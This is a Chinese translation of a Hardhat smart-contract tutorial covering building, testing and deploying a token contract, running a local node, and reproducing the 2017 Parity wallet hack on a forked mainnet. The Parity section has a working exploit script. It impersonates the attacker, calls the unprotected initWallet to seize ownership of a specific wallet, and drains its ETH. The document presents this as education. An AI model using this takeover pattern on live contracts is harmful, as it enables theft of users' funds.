本文介绍了以太坊开发环境 Hardhat 的使用和主要功能,通过三个实践项目:创建、测试、部署和验证简单的 Token 合约;重现 Parity Wallet 黑客攻击;使用 Hardhat 网络与合约和 EOA 交互,展示了 Hardhat 在智能合约开发中的应用,并提及了一些常用的插件和功能。
Hardhat 是以太坊开发者堆栈中最流行的工具之一。在本教程中,我们将学习如何使用 Hardhat 并理解其主要特性。本教程将主要以实操为主;我们将完成以下项目:
项目 1: 对于第一个项目,主要目的是对 Hardhat 的工作方式有一个大致的了解。我们将创建一个智能合约,对其进行测试,将其部署在 Rinkeby 上,并在 Etherscan 上验证它。
项目 2: 对于第二个项目,我们将重现 Parity hack。这是以太坊历史上最大的黑客攻击之一。
项目 3: 最后,我们将通过在我们的机器内部运行 Hardhat 网络来与合约和 EOA 进行交互。
在完成这 3 个项目之后,你应该对 Hardhat 在实际操作中的工作方式有一个很好的理解。
这是这 3 个项目的 github 仓库:https://github.com/rodrigoherrerai/hardhat-tutorial/tree/master
先决条件:
为了能够顺利地学习本教程,建议你具备以下知识:
在开始之前,我想向其他非常棒的工具致敬:
Truffle Suite: 使用 JavaScript 构建,由 Consensys 开发。它是以太坊上最早的开发环境之一,你可以在这里找到它。
Brownie: 如果你喜欢 Python,这是你的不二之选。你可以在这里查看。
Dapp tools: 这里。
Foundry: Paradigm 团队用 Rust 重写的 Dapp tools,你可以在这里找到它。
让我们开始吧!
什么是 Hardhat?
Hardhat 是一个用于编译、测试、部署和调试以太坊软件的开发环境。它帮助开发者管理和自动化构建智能合约和 dApp 过程中固有的重复性任务,并轻松地围绕此工作流程引入更多功能。这意味着在核心层面编译、运行和测试智能合约。
Hardhat 将帮助你完成整个智能合约开发过程。从最初的创建、测试、交互和部署。它对于测试已部署的合约和创建“未来假设”也很有帮助。
下面你将看到一个简单的图表,其中包含部署合约之前的一个非常基本的开发者工作流程:
Hardhat 是开发者旅程中这些步骤的绝佳工具,它将一路陪伴你。让我们更详细地了解一下:
智能合约创建/测试: 这是你编写合约的步骤。通常,编写智能合约和测试代码之间存在共生关系,这是因为你需要测试每一段代码。Hardhat 在这方面非常出色,因为它提供了非常好的插件来测试和优化代码。
部署: 在这一步中,你将代码(将 solidity 或 vyper 代码)编译成 bytecode,对其进行优化,然后进行部署。Hardhat 有很多不错的插件,我们稍后会看到,这些插件非常有用。
此外,使用 Hardhat,你可以重现过去的场景。例如,你可以告诉 Hardhat 回到过去,并表现得好像我们在“x”日期一样,以重做黑客攻击或你希望做的任何其他事情。这是通过 fork 主网完成的。我们将在第二个项目中回顾此功能。
正如你所看到的,Hardhat 为我们提供了许多不错的功能来在以太坊(或 EVM 兼容链)中施展魔法。
Hardhat 是围绕任务和插件的概念设计的。Hardhat 的大部分功能来自插件,作为开发者,你可以自由选择要使用的插件。Hardhat 对于你最终使用的工具没有固定的看法,但是它带有一些内置的默认值,这些默认值可以被覆盖。
插件→ 插件是 Hardhat 的骨干,它们是使用与你在 Hardhat 配置中使用的相同的配置 DSL 构建的。你可以在此处找到 Hardhat 插件的完整列表。
任务→ 任务是一个 JavaScript 异步函数,带有一些关联的元数据。Hardhat 使用此元数据为你自动执行某些操作。参数解析、验证和帮助消息都由它来处理。你可以在 Hardhat 中执行的所有操作都定义为一个任务。
你可以将插件视为可重用的代码片段,这些代码片段将额外的功能添加到基础层。这样做的好处是,你可以自己创建一个插件,也可以使用许多社区和/或 Hardhat 插件中的任何一个。
Hardhat 网络
Hardhat 内置了 Hardhat 网络,这是一个专为开发而设计的原生以太坊网络节点。
以太坊的核心是一组所有客户端都必须遵守的规范。以太坊协议有不同的实现(即客户端),最常用的是 GETH(用 GO 编写)。但是也有其他用不同语言编写的。重要的是,所有这些都必须遵循以太坊的规范。
在底层,Hardhat 使用 EVM 的 JS 实现来运行你的文件。这意味着你正在你的机器上运行 Ethereum JS。这就是 Hardhat 在你发送交易、测试和在内部部署合约时知道该怎么做的原因。
下面你将看到一个图表,该图表显示了一个平均架构结构的外观。请记住,每个项目都是不同的,并且大小差异很大。但这只是为了获得一个一般的了解。
让我们分析一下每个目录:
contracts → 在这里,你将拥有所有合约和派生合约。这意味着,你创建的所有合约、接口、库和抽象合约都将在 contracts 文件夹下。唯一的例外是通过 npm 包导入其他合约。
deployments → 在 deployments 下,你将拥有将合约部署到网络的脚本。
test → 所有测试用例都放在此文件夹下。最好按照图表中所示的方式按合约文件分隔测试。
hardhat.config.js → Hardhat 的配置文件。
现在我们对 Hardhat 的理论工作方式有了一个大致的了解,让我们从项目开始吧!
注意:我们将在 3 个项目中重复许多任务。这样做是为了增加实践。
安装和环境设置
Hardhat 是通过你项目中的本地安装使用的。这样,你的环境将是可重现的,并且你将避免将来的版本冲突。
你应该已安装 node,你可以运行以下命令进行检查:
node -v
如果你的没有安装它,你可以在此处查看安装过程。
对于整个教程,我们将在“hardhat-tutorial”内部创建我们的所有项目。因此,对于第一个项目,我们将创建一个名为“project1”的目录并从那里开始工作。
运行以下命令:
mkdir hardhat-tutorial
cd hardhat-tutorial
mkdir project1
cd project1
npm init -y
npm install --save-dev hardhat
安装 Hardhat 后,运行以下命令:
npx hardhat
你应该看到以下输出:
选择选项“Create an empty hardhat.config.js”。这将只给我们一个空的 Hardhat 配置文件,我们稍后将更详细地查看它。
安装完成后,安装以下插件:
npm install --save-dev @nomiclabs/hardhat-ethers ethers @nomiclabs/hardhat-waffle ethereum-waffle chai
这些是 Hardhat 中最常用的插件之一,我们正在安装 hardhat-ethers 和 hardhat-waffle。Ethers 是一个与以太坊交互的库,而 waffle 是一个用于测试智能合约的框架。
准备就绪后,打开你的 hardhat.config.js 文件并添加以下代码:
在这里,我们只是在需要 hardhat-ethers 和 hardhat waffle,并告诉 Hardhat 我们想要使用 Solidity 的编译器版本“0.8.8”。稍后,我们将添加更多复杂性并深入了解更多细节。
基本配置准备就绪后,让我们从有趣的部分开始。
对于第一个项目,我们将构建一个非常简单的智能合约,对其进行测试,并将其部署在 Rinkeby 上。这只是为了让你初步了解创建、测试和部署合约的过程。
我们需要做的第一件事是创建一个 contracts 目录,如“simple-smart-contracts-project-structure”图所示。
mkdir contracts
在 contracts 内部,我们将创建一个名为 Token.sol 的文件。
请记住,将文件命名为与合约相同的名称是一种好的做法。
touch contracts/Token.sol
如果一切正常,你应该具有以下文件夹结构:
在 Token 文件内部,添加以下代码:
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0 <0.9.0;
/**
* @title Token - a simple example (non - ERC-20 compliant) token contract.
*/
contract Token {
address private owner;
string public constant name = "MyToken";
uint256 private totalSupply;
mapping(address => uint256) private balances;
/**
* @param _totalSupply total supply to ever exist.
*/
constructor(uint256 _totalSupply) {
owner = msg.sender;
totalSupply = _totalSupply;
balances[owner] += totalSupply;
}
/**
* @param _amount amount to transfer. Needs to be less than balances of the msg.sender.
* @param _to address receiver.
*/
function transfer(uint256 _amount, address _to) external {
require(balances[msg.sender] >= _amount, "Not enough funds");
balances[msg.sender] -= _amount;
balances[_to] += _amount;
}
/**
* @param _address address to view the balance.
*/
function balanceOf(address _address)
external
view
returns (uint256 result)
{
result = balances[_address];
}
/**
* @notice returns the total supply.
*/
function getTotalSupply() external view returns (uint256 _totalSupply) {
_totalSupply = totalSupply;
}
}
这是一个非常简单的 Token 合约(非 ERC-20 兼容),我们将所有初始供应量都给了所有者。
同样,这里的目的是了解如何测试和部署合约。
准备好 Token.sol 后,创建一个 test 文件夹。在文件夹内部,创建一个名为 token.js 的文件:
mkdir test
touch test/token.js
这应该是你的文件结构:
将以下测试用例添加到你的 token.js 文件中:
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Token.sol", () => {
let contractFactory;
let contract;
let owner;
let alice;
let bob;
let initialSupply;
let ownerAddress;
let aliceAddress;
let bobAddress;
beforeEach(async () => {
[owner, alice, bob] = await ethers.getSigners();
initialSupply = ethers.utils.parseEther("100000");
contractFactory = await ethers.getContractFactory("Token");
contract = await contractFactory.deploy(initialSupply);
ownerAddress = await owner.getAddress();
aliceAddress = await alice.getAddress();
bobAddress = await bob.getAddress();
});
describe("Correct setup", () => {
it("should be named 'MyToken", async () => {
const name = await contract.name();
expect(name).to.equal("MyToken");
});
it("should have correct supply", async () => {
const supply = await contract.getTotalSupply();
expect(supply).to.equal(initialSupply);
});
it("owner should have all the supply", async () => {
const ownerBalance = await contract.balanceOf(ownerAddress);
expect(ownerBalance).to.equal(initialSupply);
});
});
describe("Core", () => {
it("owner should transfer to Alice and update balances", async () => {
const transferAmount = ethers.utils.parseEther("1000");
let aliceBalance = await contract.balanceOf(aliceAddress);
expect(aliceBalance).to.equal(0);
await contract.transfer(transferAmount, aliceAddress);
aliceBalance = await contract.balanceOf(aliceAddress);
expect(aliceBalance).to.equal(transferAmount);
});
it("owner should transfer to Alice and Alice to Bob", async () => {
const transferAmount = ethers.utils.parseEther("1000");
await contract.transfer(transferAmount, aliceAddress); // contract is connected to the owner.
let bobBalance = await contract.balanceOf(bobAddress);
expect(bobBalance).to.equal(0);
await contract.connect(alice).transfer(transferAmount, bobAddress);
bobBalance = await contract.balanceOf(bobAddress);
expect(bobBalance).to.equal(transferAmount);
});
it("should fail by depositing more than current balance", async () => {
const txFailure = initialSupply + 1;
await expect(contract.transfer(txFailure, aliceAddress)).to.be.revertedWith("Not enough funds");
});
});
});
测试用例的描述应该是不言自明的。但是我们只是在测试 Token.sol 合约的基本功能。
准备就绪后,运行以下命令来测试该文件:
npx hardhat test
如果一切顺利,你应该看到所有测试用例都通过了:
“npx hardhat test” 是 Hardhat 中的一个全局任务,它基本上是指,进入一个名为“test”的文件夹,并检查测试用例。请记住,如果你更改文件夹的名称,除非你指定位置:“npx hardhat test ”,否则它将无法工作。当项目变得更大时,指定确切的位置也非常有用。这是因为你不想一直测试所有内容,这非常耗时。
对于我们的情况,我们也可以像这样测试文件:
npx hardhat test test/token.js
准备好后,让我们将合约部署到 Rinkeby。
为了部署合约,我们首先需要对我们的配置文件进行一些更改。在此之前,请安装以下依赖项:
npm install dotenv
Dotenv 是一个零依赖模块,它将环境变量从 .env 文件加载到 process.env 中。 当我们将代码推送到 github 或其他地方时,我们将使用 dotenv 来确保我们的私钥安全。
安装 dotenv 后,创建 .env 文件并添加以下变量:
touch .env
在 dotenv 内部:
PRIVATE_KEY = YOUR_PRIVATE_KEY
URL = https://... infura or alchemy node
你只需要添加你的私钥和一个与 Infura、alchemy 或你想使用的任何提供商的 url 连接(确保该帐户中有一些 rinkeby eth)。
注意:请务必选择 Rinkeby 网络。
准备就绪后,在 hardhat.config.js 中进行以下更改:
为了使用 dotenv,我们需要在顶层导入它 → “require(“dotenv”).config();”。之后,我们可以创建我们的变量并通过 → process.env.VARIABLE_NAME 获取值。将变量名称全部大写是一种好的做法。
我们还修改了模块,我们添加了关键字“networks”,这是为了指定 Hardhat,我们想要在哪个网络中部署我们的合约,例如“rinkeby”、“ropsten”、“mainnet”等。紧随其后的是一个 url(节点连接)和一个帐户(用于部署合约的私钥)。
准备就绪后,我们需要创建一个 deployments 目录,然后创建一个 deployToken.js 文件:
mkdir deployments
touch deployments/deployToken.js
在 deployToken.js 内部添加以下代码:
这是我们将用来部署合约的脚本。
const initialSupply = ethers.utils.parseEther(“100000”); → 我们正在创建一个名为 initialSupply 的变量,其值为 100,000 * 10 ^18。
const [deployer] = await ethers.getSigners(); → 这是合约的部署者,是在 .env 文件中提供的私钥的地址。
const tokenFactory = await ethers.getContractFactory(“Token”); → 合约的 Ethers 抽象,以便部署它。
const contract = await tokenFactory.deploy(initialSupply); → 这行代码使用 initialSupply 作为构造函数参数来部署合约。当然,如果你没有构造函数参数,那么你将不得不将其留空。同样,如果你有更多的构造函数参数,你将需要在此处提供所有参数。
准备就绪后,我们将编译合约。请记住,以太坊虚拟机不知道 solidity 是什么,它不理解它。它只理解 bytecode,机器可读的代码。
运行:
npx hardhat compile
你应该看到两个新目录,artifacts 和 cache:
所有相关信息(如 ABI(应用程序二进制接口)和 bytecode)都将在 artifacts/contracts/CONTRACT_NAME/CONTRACT_NAME.json 下。对于我们的情况:artifacts/contracts/Token.sol/Token.json
检查内部的文件,ABI 基本上是我们与合约交互的方式。它具有所有函数规范,如参数、状态可变性和名称。在文件的底部,你还将找到合约的 bytecode。
现在是最终将合约部署到 Rinkeby 的时候了,为了做到这一点,我们需要告诉 Hardhat 运行脚本:npx hardhat run — network。对于我们的情况,运行:
npx hardhat run deployments/deployToken.js --network rinkeby
如果一切顺利,你应该看到已部署合约的地址。
在 Etherscan 上验证合约非常重要,这样人们就可以看到源代码,这可以增强信任和安全性。它可以增强信任,因为人们可以看到他们正在与之交互的协议的来源。并且安全性,因为会有更多的人关注,因此时间越长,出现潜在黑客攻击的可能性就越小。
转到 https://rinkeby.etherscan.io/ 并输入刚刚部署的地址,然后单击“contract”选项卡,你应该只看到 bytecode:
Harhdat 使用插件 hardhat-etherscan 简化了验证来源的过程。我们需要做的第一件事是安装插件:
npm install --save-dev @nomiclabs/hardhat-etherscan
安装完成后,我们需要对我们的配置文件进行一些调整:
为了验证合约,你需要获得一个 Etherscan api 密钥。获得后,请务必将其添加到 .env 文件中。
为了验证合约,我们需要运行以下命令:npx hardhat verify — network。
npx hardhat verify --network rinkeby CONTRACT_ADDRESS "100000000000000000000000"
注意: 将 CONTRACT_ADDRESS 替换为新创建的合约的地址。
如果一切顺利,它应该说“Successfully verified contract Token on Etherscan”。如果我们现在看一下合约,我们应该看到验证后的源代码:
第一个项目就是这样!
parity hack 是以太坊中非常大且重要的黑客攻击。攻击者窃取了超过 150000 ETH。
我们将要做的是回到过去(或者如果你愿意,回到以太坊的区块长度),并扮演黑客来窃取资金。在继续之前,重要的是要了解到底发生了什么。
多重签名钱包非常适合存储大量资金和/或减轻一方风险。通常,它们的工作方式是拥有一组所有者和一个阈值。阈值是执行给定事务所需的最小签名数。
在不深入太多细节的情况下,存在一个实现合约或一个“单例”,其中包含钱包的所有功能,以及一个代理工厂,该工厂部署将所有调用委托给实现合约的代理合约。因此,当你创建一个新钱包时,它具有唯一的地址和存储,但会将所有调用委托给实现合约。
好的,那么到底发生了什么?
通常,当你具有这种类型的架构时,你需要确保:1) 所有更改状态的函数都受到保护(只有特定人群才能调用它们)。
2) 设置合约的初始函数只能被调用一次。
如果我们查看他们的代码,initWallet 函数对所有人开放以调用。这意味着你可以直接调用该函数,将你的地址添加为所有者,并控制钱包。
因此,黑客在发现漏洞后立即所做的事情是搜索拥有最多 Eth 的钱包。对于此示例,我们将返回到区块 4043802 并从特定钱包中获取 82189 Eth。你可以在此处看到真实的交易。以下是交易的快照:
在继续之前,我们需要学习 Hardhat 的一些不错的功能,我们将使用这些功能来重现黑客攻击:
Mainnet forking: 你可以启动一个 fork 主网的 Hardhat 网络实例。这意味着它将模拟具有与 mainnet 相同的状态,但它将作为本地开发网络工作。这样,你可以与部署的协议进行交互,并在本地测试复杂的交互。在 fork 主网时,有一些非常不错的功能:
impersonate accounts → 此功能允许你表现得好像我们是给定帐户的所有者。对于我们的示例,我们将表现得好像我们是黑客。
pinning a block → Hardhat 允许你指定一个区块号。这意味着链的状态将表现得好像我们在给定的区块。注意:为了固定一个区块,你需要访问一个存档节点(Alchemy 提供了此功能)。
对于我们的示例,我们将主要使用这些功能,但如果你想检查所有这些功能,请转到此处。
让我们继续。
我们需要做的第一件事是设置我们的新项目。在 hardhat-tutorial 内部,创建一个名为“project2”的新目录。然后,让我们进行基本设置。以下是命令,请务必位于 hardhat-tutorial 内部:
mkdir project2
cd project2
npm init -y
npm install --save-dev hardhat
npx hardhat
选择“Create an empty hardhat.config.js”
然后安装一些 hardhat 插件和 dotenv:
npm install --save-dev @nomiclabs/hardhat-ethers ethers @nomiclabs/hardhat-waffle ethereum-waffle chai
npm install dotenv
对于这个项目,我们实际上不会编写任何智能合约。这是因为我们扮演的是“黑客”,因此我们正在从我们的外部拥有的帐户发送交易。
如前所述,为了 fork 主网,我们需要有一个存档节点。Alchemy 提供了这样的东西,所以获取一个 alchemy url 并确保选择 Mainnet。
准备就绪后,创建一个 dotenv 文件并添加 url:
touch .env
在 .evn 内部:
ALCHEMY_URL = https://eth-mainnet.alchemyapi.io/v2/....
然后将以下代码添加到你的 hardhat.config.js 文件中:
正如你所见,语法非常直接,我们只需要告诉 Hardhat 我们要 fork 该链,提供一个存档节点和一个区块号。不强制要求提供区块号,如果你不提供,hardhat 将 fork 到最新状态。
下一步,是创建我们的测试用例,在其中我们将实现所有的逻辑(破解)。继续并运行以下命令:
mkdir test
touch test/parityHack.js
在展示代码之前,非常重要的是要理解我们正在做什么。
我们要回到区块号 4043801 → 实际的破解发生在区块 4043802,但我们不能在该区块上进行,因为那时黑客已经耗尽了所有资金。
我们要模拟黑客的账户,这是地址:0xB3764761E297D6f121e79C32A65829Cd1dDb4D32
我们要调用未受保护的 initWallet 函数,以便我们控制该钱包。这是钱包地址:0xBEc591De75b8699A3Ba52F073428822d0Bfc0D7e
我们要将所有资金转移到黑客的账户。
在 parityHack.js 内部添加以下代码:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const walletAddress = "0xBEc591De75b8699A3Ba52F073428822d0Bfc0D7e";
const hackerAddress = "0xB3764761E297D6f121e79C32A65829Cd1dDb4D32";
const abi = [\
"function initWallet(address[] _owners, uint _required, uint _daylimit)",\
"function execute(address _to, uint _value, bytes _data) external"\
]
const blockNumber = 4043801;
describe("Parity Hack", () => {
let hacker;
let wallet;
beforeEach(async () => {
// 模拟黑客的账户。
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [hackerAddress],
});
hacker = await ethers.getSigner(hackerAddress);
wallet = new ethers.Contract(walletAddress, abi, hacker);
});
it(`should be block number: ${blockNumber}`, async () => {
const _blockNumber = await ethers.provider.getBlockNumber();
expect(_blockNumber).to.equal(blockNumber);
});
it("should steal funds and update balances", async () => {
const walletBalancePrior = await ethers.provider.getBalance(walletAddress);
const hackerBalancePrior = await ethers.provider.getBalance(hackerAddress);
// 我们调用未受保护的 initWallet 方法。
await wallet.connect(hacker).initWallet([hackerAddress], 1, 0);
console.log(`wallet balance prior to the hack --> ${ethers.utils.formatEther(walletBalancePrior)} Eth`);
console.log(`hacker balance prior to the hack --> ${ethers.utils.formatEther(hackerBalancePrior)} Eth`);
expect(Math.trunc(Number(walletBalancePrior))).to.be.greaterThan(0);
// 窃取所有资金,将它们发送到 hackerAddress。
await wallet.connect(hacker).execute(hackerAddress, walletBalancePrior, "0x");
const hackerBalancePost = await ethers.provider.getBalance(hackerAddress);
const walletBalancePost = await ethers.provider.getBalance(walletAddress);
console.log(`wallet balance after the hack --> ${ethers.utils.formatEther(walletBalancePost)} Eth`);
console.log(`hacker balance after the hack --> ${ethers.utils.formatEther(hackerBalancePost)}`);
const hackedAmount = hackerBalancePost.sub(hackerBalancePrior);
console.log(`Succesfully hacked --> ${ethers.utils.formatEther(hackedAmount)}Eth`);
// 钱包应该有 0 以太币。
expect(walletBalancePost).to.equal(0);
// 黑客应该比这次执行之前有更多的 Eth。
expect(Math.trunc(Number(hackerBalancePost))).to.be.greaterThan(Math.trunc(Number(hackerBalancePrior)));
});
});
然后通过运行以下命令测试该文件:
npx hardhat test
输出:
正如你所见,我们成功地耗尽了所有钱包的资金!
我们之前看到了 Hardhat 网络的快速定义。让我们更深入地了解一下:
Hardhat 自带 Hardhat 网络,这是一个专为开发而设计的原生以太坊网络节点。它允许你部署你的合约、运行你的测试和调试你的代码。
它以进程内或独立守护程序的形式运行,为 JSON-RPC 和 WebSocket 请求提供服务。默认情况下,它会挖掘每个收到的交易的区块,按顺序且没有延迟。如前所述,它由 ethereumjs/vm 支持。
此功能允许你使用外部拥有的账户,非常快速地部署智能合约并与之交互。
让我们看看它是如何工作的。
注意:Hardhat 带有 20 个确定性账户。确定性意味着这 20 个账户对于每个使用 Hardhat 的人都是相同的。所有私钥都已泄露,切勿将真实资金发送到这些账户,它们仅用于测试目的!
首先,我们需要有我们的基本设置。创建一个名为“project3”的目录,其中包含所有基本配置:
mkdir project3
cd project3
npm init -y
npm install --save-dev hardhat
npm install --save-dev @nomiclabs/hardhat-ethers
npx hardhat
选择“Create an empty hardhat.config.js”。
然后,让我们创建一个名为“Hello”的合约。这个简单的合约将只有一个返回“hello”的函数(这里的目的是演示如何与 Hardhat 网络交互)。继续并在 contracts 目录下创建 Hello.sol:
mkdir contracts
touch contracts/Hello.sol
添加以下代码,然后编译合约:
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0 <0.9.0;
contract Hello {
function hello() external pure returns (string memory _hello) {
_hello = "hello";
}
}
npx hardhat compile
然后我们就可以将合约部署到 hardhat 网络了。
你应该记得,我们需要创建一个部署脚本:
mkdir deployments
touch deployments/deployHello.js
然后在 deployHellos.js 内部添加以下代码:
const main = async () => {
const [deployer] = await ethers.getSigners();
console.log(`Address deploying the contract --> ${deployer.address}`);
const helloFactory = await ethers.getContractFactory("Hello");
const contract = await helloFactory.deploy();
console.log(`Hello contract address --> ${contract.address}`);
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
在运行脚本之前,我们需要让网络运行起来。
运行:
npx hardhat node
你应该看到服务器在 http://127.0.0.1:8545/ 上运行,这将是我们的主要端点,并且还会看到 Harhdat 的 20 个确定性账户。
为了部署合约,你需要保持链的运行,因此打开另一个终端并运行:
npx hardhat run — network localhost
npx hardhat run --network localhost deployments/deployHello.js
你应该在运行区块链的终端中看到类似的输出:
正如你所见,通过在本地运行链,我们可以更“深入地”访问幕后发生的事情。
确保复制新合约的地址(它应该在另一个终端窗口中)。
准备好后,创建一个 main.js 文件:
touch main.js
在这里,我们将只做简单的操作,例如显示余额、进行交易以及与我们的 Hello 合约交互。
在 main.js 中添加以下代码:
const { ethers } = require("ethers");
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");
// 这些是 Harhdat 的确定性账户
// 切勿将真实资金发送到这些账户!
const account0 = new ethers.Wallet("0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80", provider);
const account1 = new ethers.Wallet("0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d", provider);
const account19 = new ethers.Wallet("0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e", provider);
const CONTRACT_ADDRESS = "0x5FbDB2315678afecb367f032d93F642f64180aa3"; // 新合约的地址。
const { abi } = require("./artifacts/contracts/Hello.sol/Hello.json");
const balances = async () => {
const account0Balance = await provider.getBalance(account0.address);
console.log(`account0 balance: ${ethers.utils.formatEther(account0Balance)} Eth`);
const account1Balance = await provider.getBalance(account1.address);
console.log(`account1 balance: ${ethers.utils.formatEther(account1Balance)} Eth`);
const account19Balance = await provider.getBalance(account19.address);
console.log(`account19 balance: ${ethers.utils.formatEther(account19Balance)} Eth`);
}
const sendTx = async () => {
const amount = ethers.utils.parseEther("5000") //5000 Eth。
await account1.sendTransaction({ to: account19.address, value: amount });
const account1Balance = await provider.getBalance(account1.address);
console.log(`account1 balance: ${ethers.utils.formatEther(account1Balance)} Eth`);
const account19Balance = await provider.getBalance(account19.address);
console.log(`account19 balance: ${ethers.utils.formatEther(account19Balance)} Eth`);
}
const contractInteraction = async () => {
const contract = new ethers.Contract(CONTRACT_ADDRESS, abi, provider);
const result = await contract.hello();
console.log(`result: ${result}`);
}
使用该文件,独立调用每个函数以查看输出。
要运行该文件:
node main.js
有很多非常好的插件、任务和功能。不幸的是,我们无法涵盖所有这些内容。我将分享我认为最有用的以及我看到大型项目使用最多的:
Console.sol: Hardhat 允许你在智能合约内部进行控制台日志记录,这对于调试非常有用。为了做到这一点,你只需要导入 “hardhat/console.sol”。如果我们回到我们的 Token 示例,它将如下所示:
如果你看到,我们在构造函数内部记录了总供应量。这是你运行测试文件时的输出:
Typescript 集成: 当你开发大型项目时,你通常希望使用强类型语言来减少错误。点击此处查看安装要求。
验证合约: 正如我们在第一个示例中看到的,hardhat 使验证合约的源代码非常简单。如果你想更深入地研究,请点击此处。
Mainnet 分叉: 正如我们之前在第二个示例中看到的,mainnet 分叉对于与已部署的协议交互和模拟链的状态非常有用。例如,如果你有一个与 Uniswap 交互的合约,你可以 fork 该链并模拟交易。如果你想更深入地了解,请点击此处。
测试: 测试是 dapp 开发过程中最重要的步骤之一。Hardhat 提供了许多不错的插件来改进测试。一个开箱即用的插件组合是 ethers.js 和 waffle。如果你想了解更多信息,请点击此处。
Gas reporter: 此插件会告诉你每个单元测试的 gas 使用情况。有关更多详细信息,请点击此处。
就这样! :)
- 原文链接: dev.to/rodrigoherrerai/t...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!